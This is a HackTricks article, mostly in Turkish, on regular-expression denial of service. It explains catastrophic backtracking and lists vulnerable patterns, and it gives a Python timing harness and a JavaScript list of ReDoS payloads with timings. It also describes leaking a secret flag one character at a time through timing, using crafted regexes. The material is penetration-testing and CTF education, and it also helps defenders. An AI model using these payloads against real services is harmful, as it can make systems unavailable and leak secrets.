Regular expression Denial of Service - ReDoS

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Regular Expression Denial of Service (ReDoS)

Bir Regular Expression Denial of Service (ReDoS), regular expressions (metindeki kalıpları arama ve eşleştirme yöntemi)in nasıl çalıştığındaki zayıflıklardan yararlanılması sonucu oluşur. Bazen regular expressions kullanıldığında çok yavaşlayabilirler, özellikle üzerinde çalıştıkları metin parçası büyüdükçe. Bu yavaşlama, metin boyutundaki küçük artışlarla bile çok hızlı şekilde artabilir. Saldırganlar bu problemi kullanarak regular expressions kullanan bir programın uzun süre düzgün çalışmasını engelleyebilirler.

The Problematic Regex Naïve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Engine behavior and exploitability

  • En popüler engine'lerin çoğu (PCRE, Java java.util.regex, Python re, JavaScript RegExp) bir backtracking VM kullanır. Alt deseni eşleştirmek için çok sayıda örtüşen yol yaratan özel hazırlanmış girdiler, üstel veya yüksek-dereceli polinomik backtracking'e zorlar.
  • Bazı engine'ler/kütüphaneler yapı gereği ReDoS-resilient olacak şekilde tasarlanmıştır (backtracking yok), örn. RE2 ve sınırlı otomataya dayalı portlar en kötü durumda lineer zaman sağlar; bunları güvensiz girdiler için kullanmak backtracking DoS ilkelini ortadan kaldırır. Detaylar için sondaki referanslara bakın.

Evil Regexes

Kötü niyetli bir regular expression deseni, özel hazırlanmış girdide takılıp kalarak bir DoS'e yol açabilen desendir. Kötü regex desenleri tipik olarak tekrar içeren gruplaşma ve tekrar içinde örtüşme veya alternasyon içerir. Kötü desenlere bazı örnekler:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

Bunların hepsi aaaaaaaaaaaaaaaaaaaaaaaa! girdisine karşı savunmasızdır.

Practical recipe to build PoCs

Çoğu yıkıcı durum şu yapıyı izler:

  • Vulnerable alt desene girmenizi sağlayan bir prefix (opsiyonel).
  • İç içe/örtüşen quantifier'lar içinde belirsiz eşleşmelere yol açan uzun bir karakter dizisi (ör. birçok a, _ veya boşluk).
  • Motorun tüm olasılıkları geri izlemek zorunda kalacağı, nihai başarısızlığı zorlayan bir karakter (çoğunlukla son token ile eşleşmeyen bir karakter, ör. !).

Minimal örnekler:

  • (a+)+$ vs input "a"*N + "!"
  • \w*_*\w*$ vs input "v" + "_"*N + "!"

N'i artırın ve doğrusalın üzerinde büyüme gözlemleyin.

Hızlı zamanlama düzeneği (Python)

python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS Payloads

String Exfiltration via ReDoS

Bir CTF (veya bug bounty) ortamında belki siz hassas bir bilginin (flag) eşleştirildiği Regex'i kontrol ediyorsunuz. Bu durumda, bir Regex eşleştiğinde ve eşleşmediğinde değilse, sayfanın donmasını (timeout veya daha uzun işlem süresi) sağlamak faydalı olabilir. Bu şekilde stringi exfiltrate char by char elde edebilirsiniz:

  • this post içinde bu ReDoS kuralını bulabilirsiniz: ^(?=<flag>)((.*)*)*salt$
  • Örnek: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • this writeup içinde şu kuralı bulabilirsiniz: <flag>(((((((.*)*)*)*)*)*)*)!
  • this writeup şu ifadeyi kullandı: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

Aşağıdakiler, hem input'u hem de regex'i control ettiğiniz ReDoS örnekleridir:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Saldırganlar için dil/motor notları

  • JavaScript (browser/Node): Dahili RegExp bir backtracking motorudur ve regex+input saldırgan tarafından etkileniyorsa genellikle istismar edilebilir.
  • Python: re backtracking'tir. Uzun belirsiz tekrarlar artı başarısız bir kuyruk genellikle catastrophic backtracking'e yol açar.
  • Java: java.util.regex backtracking'tir. Sadece input'u kontrol ediyorsanız, karmaşık validator'lar kullanan endpoint'lere bakın; pattern'leri (ör. stored rules) kontrol ediyorsanız, ReDoS genellikle basittir.
  • Engines such as RE2/RE2J/RE2JS or the Rust regex crate are designed to avoid catastrophic backtracking. If you hit these, focus on other bottlenecks (e.g., enormous patterns) or find components still using backtracking engines.

Araçlar

Tip: Sadece input'u kontrol ediyorsanız, uzunlukları ikiye katlanan stringler üretin (ör. 2^k karakter) ve gecikmeyi izleyin. Üstel büyüme, genellikle uygulanabilir bir ReDoS olduğunu güçlü bir şekilde gösterir.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin